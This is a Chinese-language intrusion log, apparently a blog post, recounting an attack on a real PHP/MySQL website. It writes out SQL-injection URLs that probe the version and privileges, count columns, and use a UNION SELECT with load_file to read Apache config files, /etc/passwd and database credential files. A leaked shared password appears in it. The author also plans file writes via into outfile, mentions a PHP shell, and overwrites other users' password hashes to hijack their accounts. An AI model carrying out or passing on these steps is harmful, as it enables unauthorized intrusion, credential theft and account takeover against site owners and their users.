unix+apache+php+mysql
21=vsftpd;22=ssh;mysql=3306不开放远程连接
找到个注射点,mysql版本4.0以上支持union查询,当前用户权限足够可以load_file
以下是记录:
/gongji.php?ag_id=7 and ord(mid(version(),1,1))>51 /*判断mysql version的第一位是不是大于3
/gongji.php?ag_id=7 and (select count(*) from mysql.user)>0 /*判断权限
/gongji.php?ag_id=7 and 1=2 order by 7 /*快速判断字段
/gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7 /*精确确定字段数
---没有报错信息,利用读取apache配置文件来找web路径---------------------
默认的配置文件路径:/etc/httpd/conf/httpd.conf
转换成hex类型代入union查询语句。在字段4的位置有足够长度显示内容
/gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7
得到N多站点的路径,其中目标的路径为:/home/k...ow/www/
接下来考虑两个方案:
a. select 。。。 into outfile
条件:1.需要知道一个表名 2.需要网站没有对'做处理 3.目标路径可写
条件1,2都满足,测试导出到/tmp成功,下面需要找一个可写的目录。分析了下apache配置文件,发现网管把images文件夹穿插这放置的。即这个站点images文件夹放到另外一个站路径下。
b.读网站页面源码,找到库口令,用户表,管理表,后台...
实际上口令还可以试试ftp及ssh
读/etc/passwd密码档得到用户表,找到能够远程登录的用户表。
尝试读取vsftpd配置文件:/etc/vsftpd/vsftpd.conf,vsftpd.ftpuser... 失败可能权限不够
读取几个站的数据库连接文件:/home/k...ow/www/config_db.php或/home/k...ow/www/lib/config_db.php
发现口令统一是steal0818,帐号不一样。网站都采用同一套系统。用户表:dg_member,fs_member,fs_qa_manager
字段:dm_uid,dm_passwd...
c.爆源代码的话还可以顺便找找里面是否有漏洞,比如包含什么的。
d.因为能弄到mysql口令,虽然不能远连,还是可以找找有没有phpMyAdmin这样的东西的。
ps:本打算爆套帐号先享受下的。发现密码是加密形式的。
Select ENCRYPT('mypassword', 'ab'), ENCRYPT加密。正好公司技术主管写了篇关于数据加密的稿子,里面有提到。一文他就知道了。这种算法是不可逆的,强度还不错。
-------------------------------------------------------
很可笑的目录权限设置,已经搞定了。
不过还得再提到上面的加密方式。由于加密不可逆,新注册用户是要钱的。所以我要搞到可登录的帐号还得动点脑子:
先看下memberl.php中对密码加密的脚本:
$am_pwd = crypt ($am_pwd, "Md");
然后用phpshell或者任意unix下的mysql操作环境执行:
select encrypt("123456", "Md") 得到123456的密文
然后可以insert或者update其他用户的pwd密文为123456的密文...
<Script type=text/javascript><-- google_ad_client = "pub-0914709337945725"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-16: 小说, 奇闻异事, 美女, 明星, 资源 google_ad_channel = "0225596579+5227455088+8480776455+6964368714+6267172412"; google_ui_features = "rc:0"; //--> </Script>